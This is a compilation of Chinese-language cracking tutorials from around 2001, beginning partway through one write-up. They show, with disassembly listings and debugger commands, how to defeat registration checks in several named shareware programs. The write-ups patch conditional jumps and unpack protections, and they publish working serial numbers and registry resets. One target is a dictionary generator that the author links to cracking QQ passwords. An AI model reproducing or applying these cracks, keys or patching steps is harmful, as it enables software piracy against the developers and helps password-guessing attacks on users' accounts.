:00406D5D BAC17A5600 mov edx, 00567AC1
:00406D62 8D45FC lea eax, dword ptr [ebp-04]
:00406D65 E80E8A1400 call 0054F778
:00406D6A FF45F4 inc [ebp-0C]
:00406D6D 8B00 mov eax, dword ptr [eax]
:00406D6F E8C47D0100 call 0041EB38
:00406D74 FF4DF4 dec [ebp-0C]
:00406D77 8D45FC lea eax, dword ptr [ebp-04]
:00406D7A BA02000000 mov edx, 00000002
:00406D7F E8C88B1400 call 0054F94C
:00406D84 8B4DD8 mov ecx, dword ptr [ebp-28]
:00406D87 64890D00000000 mov dword ptr fs:[00000000], ecx
:00406D8E 8BE5 mov esp, ebp
:00406D90 5D pop ebp
:00406D91 C3 ret

:00406D92 90 nop
:00406D93 90 nop
:00406D94 55 push ebp /bpx 406d94
:00406D95 8BEC mov ebp, esp
:00406D97 83C4D8 add esp, FFFFFFD8
:00406D9A B8C07D5600 mov eax, 00567DC0
:00406D9F E8041B1300 call 005388A8
:00406DA4 66C745E80800 mov [ebp-18], 0008
:00406DAA C6059882570000 mov byte ptr [00578298], 00

* Possible StringData Ref from Data Obj ->"用户名或注册号错误,请检查后重新输入!"
|
:00406DB1 BAD67A5600 mov edx, 00567AD6
:00406DB6 8D45FC lea eax, dword ptr [ebp-04]
:00406DB9 E8BA891400 call 0054F778
:00406DBE FF45F4 inc [ebp-0C]
:00406DC1 8B00 mov eax, dword ptr [eax]
:00406DC3 E8007D0100 call 0041EAC8
:00406DC8 FF4DF4 dec [ebp-0C]
:00406DCB 8D45FC lea eax, dword ptr [ebp-04]
:00406DCE BA02000000 mov edx, 00000002
:00406DD3 E8748B1400 call 0054F94C
:00406DD8 8B4DD8 mov ecx, dword ptr [ebp-28]
:00406DDB 64890D00000000 mov dword ptr fs:[00000000], ecx
:00406DE2 8BE5 mov esp, ebp
:00406DE4 5D pop ebp
:00406DE5 C20400 ret 0004

2、trw2000载入，在406d94设断，406de5返回调用处：
016F:006D45E8 MOV EAX,[ESP+0C]
016F:006D45EC MOV ECX,[ESP+08]
016F:006D45F0 MOV EDX,[ESP+04]
016F:006D45F4 PUSH EAX /你输入的注册码
016F:006D45F5 PUSH ECX /用户名
016F:006D45F6 PUSH EDX /硬件编号
016F:006D45F7 CALL 006D4518 /关键计算，跟入
016F:006D45FC ADD ESP,BYTE +0C
016F:006D45FF TEST EAX,EAX
016F:006D4601 JZ 006D4610 /必须跳
016F:006D4603 MOV EAX,[ESP+10]
016F:006D4607 INC EAX
016F:006D4608 PUSH EAX
016F:006D4609 CALL NEAR [ESP+1C] /失败的call，返回此处
016F:006D460D RET 18
016F:006D4610 CALL NEAR [ESP+14] /成功的call
016F:006D4614 RET 18

3、在6d45f7设断，跟入：
016F:006D4518 SUB ESP,BYTE +10
016F:006D451B PUSH EBX
016F:006D451C PUSH EBP
016F:006D451D PUSH ESI
016F:006D451E MOV ESI,[ESP+20]
016F:006D4522 PUSH EDI
016F:006D4523 MOV EDI,ESI
016F:006D4525 OR ECX,BYTE -01
016F:006D4528 XOR EAX,EAX
016F:006D452A REPNE SCASB
016F:006D452C MOV EBP,[ESP+28]
016F:006D4530 NOT ECX
016F:006D4532 DEC ECX
016F:006D4533 MOV EDI,EBP
016F:006D4535 MOV EBX,ECX
016F:006D4537 OR ECX,BYTE -01
016F:006D453A REPNE SCASB
016F:006D453C MOV EDI,[ESP+2C]
016F:006D4540 NOT ECX
016F:006D4542 DEC ECX
016F:006D4543 MOV [ESP+24],ECX
016F:006D4547 OR ECX,BYTE -01
016F:006D454A REPNE SCASB
016F:006D454C NOT ECX
016F:006D454E DEC ECX
016F:006D454F CMP ECX,BYTE +0F
016F:006D4552 JZ 006D4561 /15位注册码，r fl z必须跳，不跳就死
016F:006D4554 POP EDI
016F:006D4555 POP ESI
016F:006D4556 POP EBP
016F:006D4557 MOV EAX,01
016F:006D455C POP EBX
016F:006D455D ADD ESP,BYTE +10
016F:006D4560 RET
016F:006D4561 XOR ECX,ECX
016F:006D4563 MOV EAX,ECX
016F:006D4565 CDQ
016F:006D4566 IDIV EBX
016F:006D4568 MOVSX EAX,BYTE [EDX+ESI]
016F:006D456C CDQ
016F:006D456D MOV EDI,EAX
016F:006D456F MOV EAX,ECX
016F:006D4571 XOR EDI,EDX
016F:006D4573 SUB EDI,EDX
016F:006D4575 CDQ
016F:006D4576 IDIV DWORD [ESP+24]
016F:006D457A MOVSX EAX,BYTE [EDX+EBP]
016F:006D457E CDQ
016F:006D457F XOR EAX,EDX
016F:006D4581 SUB EAX,EDX
016F:006D4583 ADD EAX,EDI
016F:006D4585 MOV EDI,1A
016F:006D458A CDQ
016F:006D458B IDIV EDI
016F:006D458D ADD DL,41
016F:006D4590 MOV [ESP+ECX+10],DL
016F:006D4594 INC ECX
016F:006D4595 CMP ECX,BYTE +0F
016F:006D4598 JL 006D4563
016F:006D459A MOV EAX,[ESP+2C] /d eax你输入的注册码
016F:006D459E LEA ESI,[ESP+10] /d esi真的注册码
016F:006D45A2 MOV DL,[EAX] /以下是逐位比较
016F:006D45A4 MOV BL,[ESI]
016F:006D45A6 MOV CL,DL
016F:006D45A8 CMP DL,BL

ok,大功告成。

2001/10/12


生日字典密码生成器 v3.7

 标 题:破解<<生日字典密码生成器 v3.7 password>> 的注册码 (4千字)
发信人:asmboy[BCG]
时 间:2001-10-21 13:17:59
详细信息:
破解<<生日字典密码生成器 v3.7 password>> 的注册码
--------------------------------------------------------------------------------

破解：AsmBoy[BCG]
Mail:asmboy@263.net
QQ:384772

软件下载地方：http://bcrystal.51.net/
难度级别:初级，练手用的，高手莫看:)

所需工具:

TRW 2000
汇编知识 (至少是基础)
大脑一个 (你有一个吧 , 我是有的! :p )

软件历史:

因现在网上流行几个破解QQ的密码的软件，都是需要字典的，发现在这个以生日为密码的字典生成工具不错，就拿来练练手，没有注册前只能生成一些简单的生日密码，注册后就没有这些限制了。
言归正转，开工罗....;O

步骤：
用TRW2000载入password.exe文件，F5返回程序，选择注册，输入78787878（随便输的，无所谓，只不过习惯了78大法，呵。。），按CTRL+N返回TRW2000，下断点BPX MESSAGEBOXA，用F5返回程序，被拦下了，用PMODULE
返回主程序，按F6键，将光标移到代码区，用PAGE UP向上翻N次，找到 CALL MSVCRT!_mbscmp

0167:00402E2B 8B4560 MOV EAX,[EBP+60]
0167:00402E2E 68E0694000 PUSH DWORD 004069E0
0167:00402E33 50 PUSH EAX
0167:00402E34 FF1520424000 CALL `MSVCRT!_mbscmp` 关键部分，比较注册码就在这里面
0167:00402E3A 83C408 ADD ESP,BYTE +08
0167:00402E3D 85C0 TEST EAX,EAX
0167:00402E3F 757E JNZ 00402EBF
0167:00402E41 83C9FF OR ECX,BYTE -01
0167:00402E44 683C684000 PUSH DWORD 0040683C
0167:00402E49 F2AE REPNE SCASB
0167:00402E4B F7D1 NOT ECX
0167:00402E4D 2BF9 SUB EDI,ECX
0167:00402E4F 53 PUSH EBX

将光标移到这行，按F9下断点，F5返回程序，输入注册码，再次点注册，被断下，用F8单步
跟踪进入CALL MSVCRT!_mbscmp,按N次F8，单步跟踪到JNZ 7800E85C
用A CS:EIP 输入NOP，NOP，

以下是第一个CALL MSVCRT!_mbscmp的内容

0167:7800E83B 55 PUSH EBP
0167:7800E83C 8BEC MOV EBP,ESP
0167:7800E83E 833DD479037800 CMP DWORD [780379D4],BYTE +00
0167:7800E845 53 PUSH EBX
0167:7800E846 56 PUSH ESI
0167:7800E847 57 PUSH EDI
0167:7800E848 90 JNZ 7800E85C 关键哦，改成NOP，NOP
0167:7800E84A FF750C PUSH DWORD [EBP+0C]
0167:7800E84D FF7508 PUSH DWORD [EBP+08]
0167:7800E850 E8224AFFFF CALL `MSVCRT!strcmp`
0167:7800E855 59 POP ECX
0167:7800E856 59 POP ECX
0167:7800E857 5F POP EDI
0167:7800E858 5E POP ESI
0167:7800E859 5B POP EBX
0167:7800E85A 5D POP EBP

再次按F8进入另一个CALL MSVCRT!_mbscmp，单步跟踪N次看到CMP AL，[ECX]，这时我们
用D ECX，就可以看到万能注册码：

以下是第二个CALL MSVCRT!_mbscmp的内容

0167:78003277 8B542404 MOV EDX,[ESP+04]
0167:7800327B 8B4C2408 MOV ECX,[ESP+08]
0167:7800327F F7C203000000 TEST EDX,03
0167:78003285 0F855DD40000 JNZ NEAR 780106E8
0167:7800328B 8B02 MOV EAX,[EDX]
0167:7800328D 3A01 CMP AL,[ECX] 看ECX寄存器D ECX
0167:7800328F 7530 JNZ 780032C1 注册码为：prch@8848.net
0167:78003291 0AC0 OR AL,AL
0167:78003293 7429 JZ 780032BE
0167:78003295 3A6101 CMP AH,[ECX+01]
0167:78003298 7527 JNZ 780032C1
0167:7800329A 0AE4 OR AH,AH
0167:7800329C 7420 JZ 780032BE
0167:7800329E C1E810 SHR EAX,10
0167:780032A1 3A4102 CMP AL,[ECX+02]
0167:780032A4 751B JNZ 780032C1
0167:780032A6 0AC0 OR AL,AL
0167:780032A8 7414 JZ 780032BE
0167:780032AA 3A6103 CMP AH,[ECX+03]
0167:780032AD 7512 JNZ 780032C1
0167:780032AF 83C104 ADD ECX,BYTE +04
0167:780032B2 83C204 ADD EDX,BYTE +04
0167:780032B5 0AE4 OR AH,AH
0167:780032B7 75D2 JNZ 7800328B
0167:780032B9 E923D40000 JMP 780106E1
0167:780032BE 33C0 XOR EAX,EAX
0167:780032C0 C3 RET
0167:780032C1 1BC0 SBB EAX,EAX
0167:780032C3 D1E0 SHL EAX,1
0167:780032C5 40 INC EAX

至此，破解过程完成，为时15分钟，轻松搞定。


世界主要城市与北京时差表

 标 题:申请加入[BCG]的第一篇破文 (2千字)
发信人:ly2001
时 间:2001-10-13 14:12:26
详细信息:
申请加入[BCG]的第一篇破文

软件名称：世界主要城市与北京时差表(300K左右)

软件简介：如果你有朋友在国外,你是否时常想知道他(她)现在在什么,这时候知道他(她)所处
地区的时间就是一个问题,本软件通过一个简单直观的界面帮你解决这个问题!软件的功
能调用都通过鼠标右键快捷菜单实现!本软件是共享软件,有30天试用期限!

下载地址：http://www.shareware.net.cn/download.asp?id={DF75409D-69D1-47BD-86AE-01898CF06AD2}

1.用WDASM893反汇编不成功。于是用BW2000+TRW的PEDUMP脱壳后再反汇编。找到
注册成功字样!
:0044F98B E8105DFDFF call 004256A0
:0044F990 8B45EC mov eax, dword ptr [ebp-14] ***关键
:0044F993 8B55FC mov edx, dword ptr [ebp-04] ***真正注册码
:0044F996 E85543FBFF call 00403CF0
:0044F99B 7535 jne 0044F9D2 ****此处跳则失败

* Possible StringData Ref from Code Obj ->"注册成功！非常感谢您的支持！"
| ***************************
:0044F99D B844FA4400 mov eax, 0044FA44
:0044F9A2 E8C16EFFFF call 00446868
:0044F9A7 8D55E8 lea edx, dword ptr [ebp-18]
:0044F9AA 8B8308030000 mov eax, dword ptr [ebx+00000308]
:0044F9B0 E8EB5CFDFF call 004256A0
:0044F9B5 8B55E8 mov edx, dword ptr [ebp-18]
:0044F9B8 B8BC784500 mov eax, 004578BC
:0044F9BD E8 BYTE e8h
:0044F9BE F2 BYTE f2h
:0044F9BF 3F BYTE 3fh

* Referenced by a CALL at Address:
|:0044B749
|
:0044F9C0 FB sti
:0044F9C1 FFC6 inc esi
:0044F9C3 05B8784500 add eax, 004578B8
:0044F9C8 018BC3E89C09 add dword ptr [ebx+099CE8C3], ecx
:0044F9CE FFFF BYTE 2 DUP(0ffh)

:0044F9D0 EB0A jmp 0044F9DC

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0044F99B(C)
|

* Possible StringData Ref from Code Obj ->"对不起,您的注册失败!"
|
:0044F9D2 B86CFA4400 mov eax, 0044FA6C
:0044F9D7 E88C6EFFFF call 00446868

2.启动trw在0044F98B处设断。在0044F990处 D EAX应该可以看到你的注册码(注：
由于我设断时只填了注册名SOFT。没填注册码.显示的值为0).过了0044F993再 D EDX 可
见到真注册码(000000748176)。
3.接下来试试在0044F99B处下R FL Z 命令。按F10往下执行。ok.显示注册成功。
重启后。NAG窗口消失，已成为注册版本.------------哈哈。连输入注册码的功夫也省下了。


试卷生成系统II 2.36

 标 题:试卷生成系统II 2.36
发信人:井 风
时 间:2001-09-24
详细信息:
下载地点：http://myprg.yeah.net/
撰 稿 人: 井 风
时 间: 2001-09-24
破解工具：Soft-ice 4.05
解题难度：##[专 业]## [学 士] [硕 士] [博 士]

前 言：
该系统由教师根据教学资料录入试题，并对其进行分类，待需要考试时，设定一定的条件，
系统就自动从题库中选取试题并生成试卷。

过 程:

用“井风跟踪”找出4444B3 CALL XXXXXXXX，代码分析如下：

0167:004442C3 LEA EAX,[EBP-04]
0167:004442C6 PUSH EAX
0167:004442C7 LEA EDX,[EBP-0C]
0167:004442CA MOV EAX,[EBX+02E4]
0167:004442D0 CALL `VCL40!@Controls@TControl@GetText$qqrv`
0167:004442D5 MOV EDX,[EBP-0C]
0167:004442D8 POP EAX
0167:004442D9 CALL `VCL40!@System@@LStrCat$qqrv`
0167:004442DE MOV EAX,[EBP-04]
0167:004442E1 LEA EDX,[EBP-08]
0167:004442E4 CALL 004440DC <========此行为计算注册码
0167:004442E9 MOV EAX,[EBP-08]
0167:004442EC PUSH EAX
0167:004442ED LEA EDX,[EBP-10]
0167:004442F0 MOV EAX,[EBX+02DC]
0167:004442F6 CALL `VCL40!@Mask@TCustomMaskEdit@GetText$qqrv`
0167:004442FB MOV EDX,[EBP-10] <===压入第一个参数，D EDX可见输入的注册码
0167:004442FE POP EAX <===压入第二个参数，D EAX可见到正确注册码
0167:004442FF CALL `VCL40!@System@@LStrCmp$qqrv` <===看这个函数名就知道是比较验证
查看此函数的压栈参数，是什么。

0167:00444304 JNZ NEAR 004444A3 <===这可就是个关键跳，跳则到*2，然后执行*1，出错。

容易看出：
0167:0044430A MOV EAX,[00454978] 接下来这段程序是注册信息写到注册表。
0167:0044430F MOV EAX,[EAX] 然后由004444A1 JMP SHORT 004444B8，跳过*1，错误框
0167:00444311 MOV EDX,80000001 子程序调用。

0167:00444316 CALL `VCL40!@Registry@TRegistry@SetRootKey$qqri`
0167:0044431B MOV EAX,[00454978]
0167:00444320 MOV EAX,[EAX]
0167:00444322 MOV CL,01
0167:00444324 MOV EDX,00444528
0167:00444329 CALL `VCL40!@Registry@TRegistry@OpenKey$qqrx17System@AnsiString4bool`
0167:0044432E LEA EDX,[EBP-08]
0167:00444331 MOV EAX,[EBX+02DC]
0167:00444337 CALL `VCL40!@Mask@TCustomMaskEdit@GetText$qqrv`
0167:0044433C MOV ECX,[EBP-08]
0167:0044433F MOV EAX,[00454978]
0167:00444344 MOV EAX,[EAX]
0167:00444346 MOV EDX,0044454C
0167:0044434B CALL `VCL40!@Registry@TRegistry@WriteString$qqrx17System@AnsiStringxt1`
0167:00444350 LEA EDX,[EBP-04]
0167:00444353 MOV EAX,[EBX+02E4]
0167:00444359 CALL `VCL40!@Controls@TControl@GetText$qqrv`
0167:0044435E MOV ECX,[EBP-04]
0167:00444361 MOV EAX,[00454978]
0167:00444366 MOV EAX,[EAX]
0167:00444368 MOV EDX,00444560
0167:0044436D CALL `VCL40!@Registry@TRegistry@WriteString$qqrx17System@AnsiStringxt1`
0167:00444372 MOV EAX,[00454958]
0167:00444377 MOV EAX,[EAX]
0167:00444379 MOV EAX,[EAX+031C]
0167:0044437F CALL `VCLDB40!@Db@TDataSet@Edit$qqrv`
0167:00444384 LEA EDX,[EBP-04]
0167:00444387 MOV EAX,[EBX+02CC]
0167:0044438D CALL `VCL40!@Controls@TControl@GetText$qqrv`
0167:00444392 MOV EAX,[EBP-04]
0167:00444395 PUSH EAX
0167:00444396 MOV EAX,[00454958]
0167:0044439B MOV EAX,[EAX]
0167:0044439D MOV EAX,[EAX+031C]
0167:004443A3 MOV EDX,00444578
0167:004443A8 CALL `VCLDB40!@Db@TDataSet@FieldByName$qqrx17System@AnsiString`
0167:004443AD POP EDX
0167:004443AE MOV ECX,[EAX]
0167:004443B0 CALL NEAR [ECX+98]
0167:004443B6 MOV EAX,[00454958]
0167:004443BB MOV EAX,[EAX]
0167:004443BD MOV EAX,[EAX+031C]
0167:004443C3 MOV EDX,[EAX]
0167:004443C5 CALL NEAR [EDX+01E4]
0167:004443CB MOV EAX,[004549C8]
0167:004443D0 MOV EAX,[EAX]
0167:004443D2 MOV EAX,[EAX+03F4]
0167:004443D8 XOR EDX,EDX
0167:004443DA CALL `VCL40!@Extctrls@TTimer@SetEnabled$qqr4bool`
0167:004443DF MOV EAX,[004549C8]
0167:004443E4 MOV EAX,[EAX]
0167:004443E6 MOV EAX,[EAX+03F0]
0167:004443EC XOR EDX,EDX
0167:004443EE CALL `VCL40!@Menus@TMenuItem@SetVisible$qqr4bool`
0167:004443F3 PUSH DWORD 0044458C
0167:004443F8 MOV EAX,[00454958]
0167:004443FD MOV EAX,[EAX]
0167:004443FF MOV EAX,[EAX+031C]
0167:00444405 MOV EDX,00444578
0167:0044440A CALL `VCLDB40!@Db@TDataSet@FieldByName$qqrx17System@AnsiString`
0167:0044440F LEA EDX,[EBP-10]
0167:00444412 MOV ECX,[EAX]
0167:00444414 CALL NEAR [ECX+58]
0167:00444417 PUSH DWORD [EBP-10]
0167:0044441A PUSH DWORD 004445A0
0167:0044441F LEA ECX,[EBP-14]
0167:00444422 MOV EAX,[00454978]
0167:00444427 MOV EAX,[EAX]
0167:00444429 MOV EDX,00444560
0167:0044442E CALL `VCL40!@Registry@TRegistry@ReadString$qqrx17System@AnsiString`
0167:00444433 PUSH DWORD [EBP-14]
0167:00444436 PUSH DWORD 004445AC
0167:0044443B LEA EAX,[EBP-08]
0167:0044443E MOV EDX,05
0167:00444443 CALL `VCL40!@System@@LStrCatN$qqrv`
0167:00444448 MOV EAX,[EBP-08]
0167:0044444B PUSH EAX
0167:0044444C MOV EAX,[004549C8]
0167:00444451 MOV EAX,[EAX]
0167:00444453 MOV EAX,[EAX+030C]
0167:00444459 MOV EAX,[EAX+01EC]
0167:0044445F MOV EDX,04
0167:00444464 CALL `VCL40!@Comctrls@TStatusPanels@GetItem$qqri`
0167:00444469 POP EDX
0167:0044446A CALL `VCL40!@Comctrls@TStatusPanel@SetText$qqrx17System@AnsiString`
0167:0044446F PUSH BYTE +00
0167:00444471 MOV CX,[004444F8]
0167:00444478 MOV DL,02
0167:0044447A MOV EAX,004445B8
0167:0044447F CALL `VCL40!@Dialogs@MessageDlg$qqrx17System@AnsiString19Dialogs@TMsgDlgType47System@%Set$t18Dialogs@TMsgDlgBtn$iuc$0$iuc$10%i`
0167:00444484 MOV EAX,[004549B0]
0167:00444489 CMP BYTE [EAX],00
0167:0044448C JZ 0044449A
0167:0044448E MOV EAX,[0045496C]
0167:00444493 MOV EAX,[EAX]
0167:00444495 CALL `VCL40!@Forms@TCustomForm@Show$qqrv`
0167:0044449A MOV EAX,EBX
0167:0044449C CALL `VCL40!@Forms@TCustomForm@Close$qqrv`
0167:004444A1 JMP SHORT 004444B8
0167:004444A3 PUSH BYTE +00 <===记为*2
0167:004444A5 MOV CX,[004444F8]
0167:004444AC MOV DL,01
0167:004444AE MOV EAX,0044465C
0167:004444B3 CALL `VCL40!@Dialogs@MessageDlg$qqrx17System@AnsiString19Dialogs@TMsgDlgType47System@%Set$t18Dialogs@TMsgDlgBtn$iuc$0$iuc$10%i`
执行此CALL则出现错误注册码框，记为*1

0167:004444B8 XOR EAX,EAX <====
0167:004444BA POP EDX
0167:004444BB POP ECX
0167:004444BC POP ECX
0167:004444BD MOV [FS:EAX],EDX
0167:004444C0 PUSH DWORD 004444F2
0167:004444C5 LEA EAX,[EBP-14]
·
·
·

小 结：

校 名：某某某大学
用户名：cycycycy
注册码：891C9-18E9D-61C16-94E9C

后 记：
有疑问请与我联系：hz.cy@163.net


网吧维护系统1.03

 标 题:网吧维护系统1.03 (5千字)
发信人:turkey99
时 间:2001-12-16 2:35:01
详细信息:
网吧维护系统1.03
今天在CNCG的主页上看到发布CNCG的第一个crackme，呵呵，我乃菜鸟一个，正好试试我的功力如何，立马拉下来了，一看个头还挺大的，我用小猫:)安装之后随便操作几下后，点注册，发现是靠机器码的，不要用户名，随便输入一个注册码，点确定，弹出一个框，说要重新启动软件来验证注册码是否正确，重新运行软件，没有发现什么异样，注册按钮也不见了，我还以为瞎猫碰上死耗子了，点下一步，弹出一个框，说注册码错误，与作者联系，KAO，原来是这样，又运行了几遍，发现出现这个对话框是不固定的，有时候第一下点下一步按钮对话框就出来了，有时候要点两次下一步才会出现这个对话框，KAO，这么麻烦，先看看有壳没有，pecompact1.4 or above的壳，用unpecomact脱了它，运行脱壳之后的程序，进去就退出来了，KAO，这里也防了，跟那个sitman一样，在trw中下bpx exitprocess ，运行脱壳后的程序，被trw断下来，通过分析、查找和尝试，招到了那个调用这个函数的call，将它nop掉，在运行，程序死在那里了，看来整个call全nop掉不行，那就找跳转，无奈发现里面的call实在太多，跳转也多，而且有些call实际上是跳转，找了几个跳转试了试，不是非法操作就是死机，可能是我没有找对吧，总之烦死了，加上我的汇编又烂，看来爆破是没有门了，还是老老实实的追注册码吧，但是下什么断点来断下程序呢，想到点下一步时会弹出一个错误的框来，就下与它有关的断点吧，结果我试了一个又一个，KAO，竟然没有一个能断下来的，真是活见鬼了。用黄金加强版反反汇编的w32dsm反编译脱壳后的文件，里面竟然什么字符串都没有，天啊，还反反反汇编，我倒。到这里我都快黔驴技穷了，随手又察看了一下脱壳后的文件，发现是用delphi写的，哈哈，好说好说，用dede反之，哈哈，终于显出原型来了，一番分析后，直达要害部位，下面是要害部位的部分代码：
0045CB89 push dword ptr fs:[eax]
0045CB8C mov fs:[eax], esp
0045CB8F mov edx, $80000002
0045CB94 mov eax, [ebp-$18]
0045CB97 call 0044EE20
0045CB9C mov cl, $01
* Possible String Reference to: '\Software\New Sun\网吧管理员'
0045CB9E mov edx, $0045D170
0045CBA3 mov eax, [ebp-$18]
0045CBA6 call 0044EE84
0045CBAB mov eax, dword ptr [$46088C]
0045CBB0 cmp eax, [$460884]
0045CBB6 jz 0045CBCB
0045CBB8 mov eax, [ebp-$04]
* Reference to control TForm1.s3 : TLabel
0045CBBB mov eax, [eax+$02F4]
* Reference to field TLabel.OFFS_0047
0045CBC1 cmp byte ptr [eax+$47], $00
0045CBC5 jnz 0045CBCB
0045CBC7 xor eax, eax
0045CBC9 jmp 0045CBCD
0045CBCB mov al, $01
0045CBCD cmp al, $01
0045CBCF jnz 0045CCBB //这里如果跳走的话，你就成功了
0045CBD5 lea ecx, [ebp-$1C]
0045CBD8 mov dl, $01
0045CBDA mov eax, [ebp-$04]
* Reference to : TForm1.luomingfor()
0045CBDD call 0045E0A4
0045CBE2 mov eax, [ebp-$1C]
0045CBE5 push eax
0045CBE6 lea edx, [ebp-$20]
0045CBE9 mov eax, [ebp-$04]
* Reference to control TForm1.putregcode : TEdit
0045CBEC mov eax, [eax+$033C]
0045CBF2 call 0042A80C
0045CBF7 mov edx, [ebp-$20]
0045CBFA mov eax, [ebp-$04]
0045CBFD pop ecx
* Reference to : TForm1.ok()
0045CBFE call 0045CA54 //哈哈，经典对比组合，想知道怎么对比就跟进去，如果只是要注册码的话，就D ECX吧，你看到了什么？怎么样，你成功了吧。 :)
0045CC03 test al, al
0045CC05 jz 0045CC56
0045CC07 mov eax, [ebp-$04]
* Reference to control TForm1.regestg : TGroupBox
0045CC0A mov eax, [eax+$032C]
0045CC10 xor edx, edx
0045CC12 call 0042A724
0045CC17 mov eax, [ebp-$04]
* Reference to control TForm1.ireg : TButton
0045CC1A mov eax, [eax+$0328]
0045CC20 xor edx, edx
0045CC22 call 0042A724
0045CC27 lea edx, [ebp-$24]
0045CC2A mov eax, [ebp-$04]
* Reference to control TForm1.putregcode : TEdit
0045CC2D mov eax, [eax+$033C]
0045CC33 call 0042A80C
0045CC38 mov ecx, [ebp-$24]
* Possible String Reference to: 'regcodebak'
0045CC3B mov edx, $0045D198
0045CC40 mov eax, [ebp-$18]
0045CC43 call 0044F020
0045CC48 mov eax, dword ptr [$460880]
0045CC4D mov dword ptr [eax+$0C], $0000000B
0045CC54 jmp 0045CCBB //在这里跳走的话，才是光明大道
0045CC56 xor ecx, ecx
* Possible String Reference to: 'chereg'
0045CC58 mov edx, $0045D1AC
0045CC5D mov eax, [ebp-$18]
0045CC60 call 0044F108
0045CC65 mov eax, dword ptr [$460880]
0045CC6A mov dword ptr [eax+$0C], $00000003
0045CC71 mov eax, [ebp-$04]
* Reference to control TForm1.ireg : TButton
0045CC74 mov eax, [eax+$0328]
0045CC7A mov dl, $01
0045CC7C call 0042A724
0045CC81 mov eax, [ebp-$04]
* Reference to control TForm1.putregcode : TEdit
0045CC84 mov eax, [eax+$033C]
0045CC8A xor edx, edx
0045CC8C call 0042A83C
* Possible String Reference to: '对不起,你输入的注册码有问题！如要注
| 册请与我联系电话:0732-5571778 0732
| -2372543Email:icqlm@sohu.com'
|
0045CC91 mov eax, $0045D1BC
0045CC96 call 0044CF84
0045CC9B mov eax, dword ptr [$460880]
0045CCA0 mov dword ptr [eax+$0C], $00000001
0045CCA7 mov eax, dword ptr [$45FDEC]
0045CCAC mov eax, [eax]
0045CCAE call 004484AC
0045CCB3 mov eax, [ebp-$04]
0045CCB6 call 00445184
0045CCBB xor eax, eax
0045CCBD pop edx
0045CCBE pop ecx
0045CCBF pop ecx
0045CCC0 mov fs:[eax], edx
0045CCC3 push $0045CCE0
0045CCC8 mov eax, [ebp-$18]
0045CCCB call 0044EDF0
0045CCD0 mov eax, [ebp-$18]
0045CCD3 call 00402EDC
0045CCD8 ret

最后整理一下：
我的机器码：77207838775-7009955
我的注册码：67678389907
如果你还想来一遍的话，在注册表中招到下面这两个键值：
[HKEY_LOCAL_MACHINE\Software\New Sun\网吧管理员]
"ifreg"="" 将它的值删掉
[HKEY_LOCAL_MACHINE\Software\New Sun\网吧管理员]
"regcodebak"="" 将它的值删掉
你就又可以注册了！

cracker：Turkey/灭害灵
2001.12.16@02：33

转载请保持完整性，谢谢！！


我也爱背单词2001+ 3.1

 标 题:我也爱背单词2001+ 3.1 破解 (4千字)
发信人:sumica
时 间:2001-12-7 21:13:31
详细信息:
软件名称: 我也爱背单词2001+
版 本: V3.1 语音白金版
软件平台: Win9x WinNT Win2000 WinME WinXP
软件大小: 2596KB
软件简介: 我也爱背单词2001+是一款小巧精悍的绿色英语单词辅助记忆软件
下载地址：http://www8.pconline.com.cn/download/swdetail.phtml?id=2786
正确注册：name:36382052Sumica.Tan4661586
sn：94978405677094
破解工具：Soft-ICE、 lauguage、GUW32
破解流程：
1.用 lauguage 侦测 是ASPpack的壳，用GUW脱之。
2.由于用户名已经自动生成，故在sn里填上 “787878787878” （12个数字）
3.进入 S-ICE，bpx hmemcpy
4.F5 回来 按 “现在注册”
5.按 F12 12次

来到的代码如下：
:004823A7 837DFC00 cmp dword ptr [ebp-04], 00000000 ；<------判断输入是否为空
:004823AB 750F jne 004823BC

* Possible StringData Ref from Code Obj ->"You must have Register Name"
|
:004823AD B8A4264800 mov eax, 004826A4
:004823B2 E8FD09FDFF call 00452DB4 ；<--------空 就直接完蛋
:004823B7 E98D020000 jmp 00482649

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004823AB(C)
|
:004823BC 8D55F8 lea edx, dword ptr [ebp-08]
:004823BF 8B8308030000 mov eax, dword ptr [ebx+00000308]
:004823C5 E85EB6FAFF call 0042DA28
:004823CA 837DF800 cmp dword ptr [ebp-08], 00000000 ;<-----------注册码是否为空？
:004823CE 750F jne 004823DF

* Possible StringData Ref from Code Obj ->"You can't leave the Register Number "
->"blank"
|
:004823D0 B8C8264800 mov eax, 004826C8

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0048236A(C)
|
:004823D5 E8DA09FDFF call 00452DB4
:004823DA E96A020000 jmp 00482649

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004823CE(C)
|
:004823DF 8D55F4 lea edx, dword ptr [ebp-0C]
:004823E2 8B8308030000 mov eax, dword ptr [ebx+00000308]
:004823E8 E83BB6FAFF call 0042DA28
:004823ED 8B45F4 mov eax, dword ptr [ebp-0C]
:004823F0 50 push eax
:004823F1 8D55F0 lea edx, dword ptr [ebp-10]
:004823F4 A1F0DD4900 mov eax, dword ptr [0049DDF0]
:004823F9 E8FEFDFFFF call 004821FC
:004823FE 8B55F0 mov edx, dword ptr [ebp-10]
:00482401 58 pop eax
:00482402 E8351AF8FF call 00403E3C
:00482407 0F85F0000000 jne 004824FD ；<－－－－关键第一跳
^^^^^^^^^^

×××就跳到这里啦！
:004824FD 8D55E0 lea edx, dword ptr [ebp-20]
:00482500 8B8308030000 mov eax, dword ptr [ebx+00000308]
:00482506 E81DB5FAFF call 0042DA28
:0048250B 8B45E0 mov eax, dword ptr [ebp-20]
:0048250E 50 push eax <-------------可以看到 假的注册码
:0048250F 8D55D8 lea edx, dword ptr [ebp-28]
:00482512 8B8304030000 mov eax, dword ptr [ebx+00000304]
:00482518 E80BB5FAFF call 0042DA28
:0048251D 8B45D8 mov eax, dword ptr [ebp-28]
:00482520 8D55DC lea edx, dword ptr [ebp-24]
:00482523 E8D4FCFFFF call 004821FC
:00482528 8B55DC mov edx, dword ptr [ebp-24] <-----eax＝用户名
:0048252B 58 pop eax
:0048252C E80B19F8FF call 00403E3C <-------关键的call，注册码就在里头！！
:00482531 0F85EB000000 jne 00482622 <--------改为 je（85改为84）就直通罗马！
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－
在 :0048252C E80B19F8FF call 00403E3C 的时候我们F8进去看看（代码如下）
:00403E3C 53 push ebx
:00403E3D 56 push esi
:00403E3E 57 push edi
:00403E3F 89C6 mov esi, eax
:00403E41 89D7 mov edi, edx
